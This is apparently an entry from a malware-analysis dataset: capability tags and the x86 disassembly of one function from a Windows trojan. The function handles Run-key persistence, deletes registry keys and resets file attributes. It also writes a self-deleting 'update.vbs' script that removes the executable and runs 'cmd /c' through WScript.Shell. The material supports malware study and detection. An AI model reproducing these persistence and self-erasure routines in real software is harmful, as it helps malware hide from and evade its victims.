Function at 0x40b106
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
push ebx
push esi
push edi
call fcn.00410199
cmp byte [0x46c9c4], 0x30
je 0x40b125
call fcn.00409da8
xor ebx, ebx
inc ebx
cmp byte [0x46dd5f], bl
jne 0x40b135
call fcn.00415d62
cmp byte [0x46da75], 0
je 0x40b14f
mov ecx, 0x46e0d4
call fcn.00401edd
mov ecx, eax
call fcn.00418144
mov esi, 0x46e578
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0x46daf6], bl
jne 0x40b176
mov ecx, esi
call fcn.00401edd
push eax
mov edx, edi
mov ecx, connect
call fcn.00410d8b
pop ecx
cmp byte [0x46daef], bl
jne 0x40b193
mov ecx, esi
call fcn.00401edd
push eax
mov edx, edi
mov ecx, connect
call fcn.00410d8b
pop ecx
cmp byte [0x46daf4], bl
jne 0x40b1b3
mov ecx, esi
call fcn.00401edd
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, connect
call fcn.00410d8b
pop ecx
mov esi, 0x46e5f0
mov ecx, esi
call fcn.0040247b
push eax
mov ecx, esi
call fcn.00401f87
push eax
mov esi, 0x208
lea eax, [ebp - 0x2b0]
push esi
push eax
mov ebx, 0x46e5a8
push str.thsjkgc
mov ecx, ebx
call fcn.00401f87
mov edx, eax
call fcn.00410a5f
add esp, 0x14
xor edi, edi
test al, al
jne 0x40b205
push esi
lea eax, [ebp - 0x2b0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00401f87
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x2b0]
push 0x80
push eax
call esi
mov ebx, eax
mov edx, 0x46079c
neg ebx
mov ecx, 0x46e5c0
sbb bl, bl
and bl, 1
call fcn.00407647
test al, al
je 0x40b25a
push 0x80
mov ecx, 0x46e5c0
call fcn.00401edd
push eax
call esi
push str.update.vbs
push 0x461088
call fcn.00437aef
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00403098
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee2
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x30]
call fcn.00404260
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [ebp - 0x18]
call fcn.004043e6
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401ee2
test bl, bl
je 0x40b2fd
push 0x461250
lea eax, [ebp - 0x2b0]
push eax
lea ecx, [ebp - 0x60]
call fcn.00404260
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [ebp - 0x48]
call fcn.004043e6
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00403303
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x60]
call fcn.00401ee2
push 0x461288
lea eax, [ebp - 0x2b0]
push eax
push str.fso.DeleteFile__
lea ecx, [ebp - 0x30]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403098
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00403303
lea ecx, [ebp - 0x60]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x30]
call fcn.00401ee2
test bl, bl
je 0x40b35e
push str.wend_n
lea ecx, [ebp - 0x18]
call fcn.0040778c
mov ebx, 0x46079c
mov esi, 0x46e5c0
mov edx, ebx
mov ecx, esi
call fcn.00407647
test al, al
je 0x40b3ad
push 0x461288
push esi
mov edx, str.fso.DeleteFolder__
lea ecx, [ebp - 0x48]
call fcn.00409e9e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00403303
lea ecx, [ebp - 0x60]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401ee2
push 0x46112c
push str._____0
lea ecx, [ebp - 0xa8]
call fcn.00404260
push eax
lea eax, [ebp + 8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0x90]
call fcn.00404260
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040440a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00403022
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00403098
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00403303
lea ecx, [ebp - 0x60]
call fcn.00401ee2
lea ecx, [ebp - 0x48]
call fcn.00401ee2
lea ecx, [ebp - 0x30]
call fcn.00401ee2
lea ecx, [ebp - 0x90]
call fcn.00401ee2
lea ecx, [ebp - 0xa8]
call fcn.00401ee2
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0040778c
push edi
lea ecx, [ebp - 0x78]
call fcn.00401edd
push eax
lea ecx, [ebp - 0x18]
call fcn.0040247b
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00401edd
mov edx, esi
mov ecx, eax
call fcn.00418337
pop ecx
pop ecx
test al, al
je 0x40b48d
push edi
push ebx
push ebx
lea ecx, [ebp - 0x78]
call fcn.00401edd
push eax
push 0x46075c
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x40b48d
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00401ee2
lea ecx, [ebp - 0x78]
call fcn.00401ee2
lea ecx, [ebp + 8]
call fcn.00401ee2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret